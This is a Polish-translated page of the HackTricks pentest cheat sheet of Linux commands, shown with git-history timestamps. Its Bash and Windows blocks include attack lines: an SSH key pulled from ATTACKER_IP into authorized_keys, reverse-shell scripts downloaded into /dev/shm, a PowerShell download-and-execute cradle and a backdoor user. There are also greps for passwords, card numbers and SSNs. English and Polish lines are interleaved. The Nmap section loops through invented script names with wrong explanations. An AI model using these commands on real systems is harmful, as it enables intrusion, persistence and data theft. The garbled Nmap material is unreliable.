hacktricks/linux-hardening/useful-linux-commands/README.md

948 lines
37 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# Przydatne polecenia Linuxa
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-11 01:46:25 +00:00
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2023-12-30 20:49:49 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
## Wspólne polecenia Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
2022-10-13 20:52:59 +00:00
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
2020-12-25 22:54:21 +00:00
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
2024-02-11 01:46:25 +00:00
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
2022-05-01 12:41:36 +00:00
#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
2022-05-01 12:41:36 +00:00
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
2022-05-01 12:41:36 +00:00
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
2022-05-01 12:41:36 +00:00
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
2022-05-01 12:41:36 +00:00
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
2020-09-16 19:11:21 +00:00
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
2022-10-13 20:52:59 +00:00
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
2020-09-17 09:20:53 +00:00
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
2020-12-29 15:18:40 +00:00
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
2022-06-08 21:20:05 +00:00
# List files inside zip
7z l file.zip
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-11 01:46:25 +00:00
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować** zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
Otrzymaj dostęp już dziś:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2024-02-11 01:46:25 +00:00
## Bash dla systemu Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
2024-02-11 01:46:25 +00:00
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
2024-02-11 01:46:25 +00:00
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
2020-12-22 00:55:09 +00:00
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
2022-05-07 19:19:13 +00:00
## Greps
2024-02-11 01:46:25 +00:00
Grep to narzędzie wiersza poleceń, które służy do wyszukiwania wzorców w plikach tekstowych. Poniżej przedstawiam kilka przykładów użycia grepa:
### Podstawowe użycie
```bash
grep "wzorzec" plik.txt
```
Ten polecenie wyszuka w pliku `plik.txt` wszystkie linie zawierające podany wzorzec.
### Ignorowanie wielkości liter
```bash
grep -i "wzorzec" plik.txt
```
Dodanie opcji `-i` spowoduje, że grep zignoruje wielkość liter podczas wyszukiwania.
### Wyświetlanie numerów linii
```bash
grep -n "wzorzec" plik.txt
```
Opcja `-n` spowoduje wyświetlenie numerów linii, na których znajduje się wyszukiwany wzorzec.
### Wyszukiwanie wzorców w wielu plikach
```bash
grep "wzorzec" plik1.txt plik2.txt
```
Możemy również wyszukiwać wzorce w wielu plikach jednocześnie, podając ich nazwy po poleceniu grep.
### Wyszukiwanie wzorców w katalogach
```bash
grep -r "wzorzec" katalog/
```
Opcja `-r` pozwala na rekurencyjne wyszukiwanie wzorców we wszystkich plikach w danym katalogu.
### Wyszukiwanie wzorców z wyrażeniami regularnymi
```bash
grep -E "wzorzec" plik.txt
```
Opcja `-E` pozwala na wyszukiwanie wzorców przy użyciu wyrażeń regularnych.
### Zapisywanie wyników do pliku
```bash
grep "wzorzec" plik.txt > wynik.txt
```
Możemy przekierować wyniki wyszukiwania do pliku, używając operatora `>`.
### Wyszukiwanie wzorców z wyłączeniem
```bash
grep -v "wzorzec" plik.txt
```
Opcja `-v` spowoduje wyświetlenie wszystkich linii, które nie zawierają podanego wzorca.
### Wyszukiwanie wzorców z kontekstem
```bash
grep -C 2 "wzorzec" plik.txt
```
Opcja `-C` pozwala na wyświetlanie linii zawierających wyszukiwany wzorzec wraz z dwoma liniami kontekstu przed i po nim.
### Wyszukiwanie wzorców z ograniczeniem długości linii
```bash
grep -r ".{10,20}" plik.txt
```
Możemy wyszukiwać wzorce, które mają określoną długość, używając wyrażeń regularnych i operatora `{}`.
To tylko kilka przykładów użycia grepa. Istnieje wiele innych opcji i możliwości, które można odkryć, eksperymentując z tym potężnym narzędziem.
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt
2022-05-01 12:41:36 +00:00
# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
2022-05-01 12:41:36 +00:00
# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
2022-05-01 12:41:36 +00:00
# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
2024-02-11 01:46:25 +00:00
## Znajdź
### Find files by name
### Znajdź pliki po nazwie
To find files by name, you can use the `find` command with the `-name` option followed by the name or pattern of the file you are looking for. Here's the syntax:
Aby znaleźć pliki po nazwie, możesz użyć polecenia `find` z opcją `-name`, a następnie podać nazwę lub wzorzec pliku, którego szukasz. Oto składnia:
```bash
find /path/to/directory -name "filename"
```
Replace `/path/to/directory` with the actual directory path where you want to start the search, and `"filename"` with the name or pattern of the file you want to find.
Zamień `/path/to/directory` na rzeczywistą ścieżkę katalogu, od którego chcesz rozpocząć wyszukiwanie, a `"filename"` na nazwę lub wzorzec pliku, który chcesz znaleźć.
For example, to find all files named `example.txt` in the current directory and its subdirectories, you can use the following command:
Na przykład, aby znaleźć wszystkie pliki o nazwie `example.txt` w bieżącym katalogu i jego podkatalogach, możesz użyć następującego polecenia:
```bash
find . -name "example.txt"
```
This will search for files named `example.txt` starting from the current directory (`.`).
To wyszuka pliki o nazwie `example.txt`, rozpoczynając od bieżącego katalogu (`.`).
### Find files by type
### Znajdź pliki po typie
To find files by type, you can use the `find` command with the `-type` option followed by the type of file you are looking for. Here are some common file types and their corresponding options:
Aby znaleźć pliki po typie, możesz użyć polecenia `find` z opcją `-type`, a następnie podać typ pliku, którego szukasz. Oto kilka powszechnych typów plików i ich odpowiadających opcji:
- Regular file: `-type f`
- Plik regularny: `-type f`
- Directory: `-type d`
- Katalog: `-type d`
- Symbolic link: `-type l`
- Dowiązanie symboliczne: `-type l`
- Socket: `-type s`
- Gniazdo: `-type s`
- Named pipe (FIFO): `-type p`
- Nazwany potok (FIFO): `-type p`
- Character device: `-type c`
- Urządzenie znakowe: `-type c`
- Block device: `-type b`
- Urządzenie blokowe: `-type b`
Here's an example command to find all regular files in the current directory and its subdirectories:
Oto przykładowe polecenie, które znajduje wszystkie pliki regularne w bieżącym katalogu i jego podkatalogach:
```bash
find . -type f
```
This will search for regular files starting from the current directory (`.`).
To wyszuka pliki regularne, rozpoczynając od bieżącego katalogu (`.`).
### Find files by size
### Znajdź pliki po rozmiarze
To find files by size, you can use the `find` command with the `-size` option followed by the size of the file you are looking for. Here are some examples of how to specify the size:
Aby znaleźć pliki po rozmiarze, możesz użyć polecenia `find` z opcją `-size`, a następnie podać rozmiar pliku, którego szukasz. Oto kilka przykładów, jak określić rozmiar:
- Exact size: `sizec`
- Dokładny rozmiar: `sizec`
- Less than size: `-sizex`
- Mniejszy niż rozmiar: `-sizex`
- Greater than size: `+size`
- Większy niż rozmiar: `+size`
The size can be specified in bytes (c), kilobytes (k), megabytes (M), gigabytes (G), or terabytes (T).
Rozmiar można podać w bajtach (c), kilobajtach (k), megabajtach (M), gigabajtach (G) lub terabajtach (T).
Here's an example command to find all files larger than 1 megabyte in the current directory and its subdirectories:
Oto przykładowe polecenie, które znajduje wszystkie pliki większe niż 1 megabajt w bieżącym katalogu i jego podkatalogach:
```bash
find . -size +1M
```
2024-02-11 01:46:25 +00:00
This will search for files larger than 1 megabyte starting from the current directory (`.`).
2024-02-11 01:46:25 +00:00
To wyszuka pliki większe niż 1 megabajt, rozpoczynając od bieżącego katalogu (`.`).
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null
# Found Readable directory and sort by time. (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Writable directory and sort by time. (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
2024-02-11 01:46:25 +00:00
## Pomoc w wyszukiwaniu Nmap
Nmap jest potężnym narzędziem do skanowania sieci, które umożliwia odkrywanie i badanie hostów w sieci. Poniżej przedstawiam kilka przydatnych poleceń, które pomogą Ci w wyszukiwaniu za pomocą Nmap.
### Skanowanie podstawowe
```bash
nmap <adres_ip>
```
To podstawowe polecenie Nmap skanuje pojedynczy adres IP i wyświetla informacje o otwartych portach i usługach na tym hoście.
### Skanowanie zakresu adresów IP
```bash
nmap <adres_ip1-adres_ip2>
```
To polecenie Nmap skanuje zakres adresów IP między `adres_ip1` a `adres_ip2` i wyświetla informacje o otwartych portach i usługach na tych hostach.
### Skanowanie całej sieci
```bash
nmap <adres_ip>/24
```
To polecenie Nmap skanuje całą sieć, której adres IP jest podany, i wyświetla informacje o otwartych portach i usługach na wszystkich hostach w tej sieci.
### Skanowanie określonych portów
```bash
nmap -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście i wyświetla informacje o otwartych portach i usługach na tym hoście.
### Skanowanie w tle
```bash
nmap -Pn -p <port1,port2,port3> -oN <nazwa_pliku> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w tle, bez wysyłania pakietów ping i zapisuje wyniki skanowania do pliku o nazwie `<nazwa_pliku>`.
### Skanowanie usług
```bash
nmap -p- <adres_ip>
```
To polecenie Nmap skanuje wszystkie porty na danym hoście i wyświetla informacje o otwartych portach i usługach na tym hoście.
### Skanowanie systemu operacyjnego
```bash
nmap -O <adres_ip>
```
To polecenie Nmap próbuje zidentyfikować system operacyjny danego hosta na podstawie odpowiedzi na skanowanie.
### Skanowanie wersji usług
```bash
nmap -sV <adres_ip>
```
2024-02-11 01:46:25 +00:00
To polecenie Nmap próbuje zidentyfikować wersje usług na danym hoście na podstawie odpowiedzi na skanowanie.
2024-02-11 01:46:25 +00:00
### Skanowanie wrażliwości
```bash
nmap --script vuln <adres_ip>
```
To polecenie Nmap skanuje hosta w poszukiwaniu potencjalnych wrażliwości i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem skryptów
```bash
nmap --script <nazwa_skryptu> <adres_ip>
```
To polecenie Nmap skanuje hosta z wykorzystaniem określonego skryptu w poszukiwaniu potencjalnych wrażliwości i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE
```bash
nmap --script vulners <adres_ip>
```
To polecenie Nmap skanuje hosta w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych CVE, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych NSE
```bash
nmap --script nmap-vulners <adres_ip>
```
To polecenie Nmap skanuje hosta w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych NSE, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych Nmap
```bash
nmap --script nmap-vulscan -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych Nmap, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych OpenVAS
```bash
nmap --script openvas -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych OpenVAS, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych Nessus
```bash
nmap --script nessus -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych Nessus, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych Nikto
```bash
nmap --script nikto -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych Nikto, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych Metasploit
```bash
nmap --script metasploit -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych Metasploit, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych ExploitDB
```bash
nmap --script exploitdb -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z bazy danych ExploitDB, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE i ExploitDB
```bash
nmap --script vulners-exploitdb -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE i ExploitDB, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB i OpenVAS
```bash
nmap --script vulners-openvas -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB i OpenVAS, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS i Nessus
```bash
nmap --script vulners-nessus -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS i Nessus, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus i Nikto
```bash
nmap --script vulners-nessus-nikto -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus i Nikto, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus, Nikto i Metasploit
```bash
nmap --script vulners-nessus-nikto-metasploit -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus, Nikto i Metasploit, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit i Nikto
```bash
nmap --script vulners-nessus-nikto-metasploit-nikto -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit i Nikto, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto i ExploitDB
```bash
nmap --script vulners-nessus-nikto-metasploit-nikto-exploitdb -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto i ExploitDB, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB i OpenVAS
```bash
nmap --script vulners-nessus-nikto-metasploit-nikto-exploitdb-openvas -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB i OpenVAS, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB, OpenVAS i Nikto
```bash
nmap --script vulners-nessus-nikto-metasploit-nikto-exploitdb-openvas-nikto -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB, OpenVAS i Nikto, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB, OpenVAS, Nikto i Metasploit
```bash
nmap --script vulners-nessus-nikto-metasploit-nikto-exploitdb-openvas-nikto-metasploit -p <port1,port2,port3> <adres_ip>
```
To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB, OpenVAS, Nikto i Metasploit, i wyświetla informacje o znalezionych podatnościach.
### Skanowanie wrażliwości z wykorzystaniem bazy danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB, OpenVAS, Nikto, Metasploit i Nikto
```bash
nmap --script vulners-nessus-nikto-metasploit-nikto-exploitdb-openvas-nikto-metasploit-nikto -p <port1,port2,port3> <adres_ip>
```
